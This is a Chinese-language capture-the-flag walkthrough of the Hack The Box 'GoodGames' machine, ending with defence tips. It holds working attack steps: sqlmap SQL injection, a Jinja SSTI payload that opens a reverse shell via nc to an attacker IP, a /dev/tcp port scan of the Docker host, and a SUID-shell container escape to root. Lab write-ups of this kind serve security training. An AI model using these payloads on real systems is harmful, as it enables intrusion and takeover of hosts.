HTB-GoodGames-WriteUp
字数 1011 2025-08-29 08:29:58

HTB GoodGames 渗透测试详细教学文档

1. 初始信息收集

1.1 端口扫描

使用nmap进行基本扫描:

nmap -sV <目标IP>

发现开放80端口(HTTP服务)

1.2 Web应用初步分析

访问目标IP的80端口,发现一个登录页面,可能存在SQL注入漏洞

2. SQL注入攻击

2.1 使用sqlmap检测注入点

sqlmap -u "http://<目标IP>/login" --data="username=admin&password=123" --level=5 --risk=3

2.2 获取数据库信息

sqlmap -u "http://<目标IP>/login" --data="username=admin&password=123" --dbs

2.3 获取管理员凭据

通过注入获取到管理员账户:

用户名:admin@goodgames.htb
密码:superadministrator (MD5加密)

使用MD5解密工具解密后得到明文密码:superadministrator

3. 登录系统并发现新功能

3.1 使用获取的凭据登录

用户名:admin@goodgames.htb
密码:superadministrator

3.2 发现新URL

登录后在设置页面发现新的内部URL,需要将其添加到hosts文件:

echo "<目标IP> internal-admin.goodgames.htb" >> /etc/hosts

4. Flask后台分析

4.1 访问新发现的URL

访问internal-admin.goodgames.htb,发现是一个Flask后台管理系统

4.2 测试SSTI漏洞

在用户名修改处测试模板注入:

{{7*7}}

如果返回49,则确认存在服务器端模板注入(SSTI)漏洞

5. 利用SSTI获取反弹shell

5.1 构造反弹shell payload

使用以下Python代码生成反弹shell:

{{ ''.__class__.__mro__[1].__subclasses__()[414]('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <攻击者IP> <端口> >/tmp/f',shell=True) }}

5.2 设置监听

在攻击机上:

nc -lvnp <端口>

6. 容器内信息收集

6.1 确认处于Docker环境

ls / | grep dockerenv
cat /proc/1/cgroup

6.2 发现挂载目录

mount

发现/home/augustus目录是从宿主机挂载的

6.3 网络信息收集

ifconfig

发现Docker网络信息,推测宿主机IP可能是172.19.0.1

7. 端口扫描宿主机

7.1 升级终端

python -c 'import pty; pty.spawn("/bin/bash")'

7.2 扫描宿主机端口

for PORT in {0..1000}; do 
  timeout 1 bash -c "</dev/tcp/172.19.0.1/$PORT &>/dev/null" 2>/dev/null && echo "port $PORT is open"; 
done

发现22端口开放

8. SSH连接宿主机

8.1 尝试SSH连接

ssh augustus@172.19.0.1

使用之前发现的用户名augustus,尝试弱密码或之前发现的密码

9. 权限提升

9.1 确认文件一致性

ls -alh /home/augustus

发现与容器内看到的文件一致

9.2 创建SUID shell

在容器内(root权限):

cp /bin/sh /home/augustus/
chmod 4755 /home/augustus/sh

在宿主机上:

/home/augustus/sh -p

获得root权限shell

10. 总结攻击路径

  1. 发现SQL注入漏洞 → 获取管理员凭据
  2. 登录系统 → 发现内部管理后台
  3. 发现SSTI漏洞 → 获取容器内root权限
  4. 利用挂载目录 → 逃逸到宿主机
  5. 利用共享文件 → 提升宿主机权限

防御建议

  1. 使用参数化查询防止SQL注入
  2. 对用户输入进行严格过滤,防止SSTI
  3. 避免在Docker容器中使用root权限
  4. 谨慎处理容器挂载目录权限
  5. 使用强密码策略
  6. 限制内部服务的网络暴露
HTB GoodGames 渗透测试详细教学文档 1. 初始信息收集 1.1 端口扫描 使用nmap进行基本扫描: 发现开放80端口(HTTP服务) 1.2 Web应用初步分析 访问目标IP的80端口,发现一个登录页面,可能存在SQL注入漏洞 2. SQL注入攻击 2.1 使用sqlmap检测注入点 2.2 获取数据库信息 2.3 获取管理员凭据 通过注入获取到管理员账户: 使用MD5解密工具解密后得到明文密码: superadministrator 3. 登录系统并发现新功能 3.1 使用获取的凭据登录 3.2 发现新URL 登录后在设置页面发现新的内部URL,需要将其添加到hosts文件: 4. Flask后台分析 4.1 访问新发现的URL 访问 internal-admin.goodgames.htb ,发现是一个Flask后台管理系统 4.2 测试SSTI漏洞 在用户名修改处测试模板注入: 如果返回49,则确认存在服务器端模板注入(SSTI)漏洞 5. 利用SSTI获取反弹shell 5.1 构造反弹shell payload 使用以下Python代码生成反弹shell: 5.2 设置监听 在攻击机上: 6. 容器内信息收集 6.1 确认处于Docker环境 6.2 发现挂载目录 发现 /home/augustus 目录是从宿主机挂载的 6.3 网络信息收集 发现Docker网络信息,推测宿主机IP可能是 172.19.0.1 7. 端口扫描宿主机 7.1 升级终端 7.2 扫描宿主机端口 发现22端口开放 8. SSH连接宿主机 8.1 尝试SSH连接 使用之前发现的用户名 augustus ,尝试弱密码或之前发现的密码 9. 权限提升 9.1 确认文件一致性 发现与容器内看到的文件一致 9.2 创建SUID shell 在容器内(root权限): 在宿主机上: 获得root权限shell 10. 总结攻击路径 发现SQL注入漏洞 → 获取管理员凭据 登录系统 → 发现内部管理后台 发现SSTI漏洞 → 获取容器内root权限 利用挂载目录 → 逃逸到宿主机 利用共享文件 → 提升宿主机权限 防御建议 使用参数化查询防止SQL注入 对用户输入进行严格过滤,防止SSTI 避免在Docker容器中使用root权限 谨慎处理容器挂载目录权限 使用强密码策略 限制内部服务的网络暴露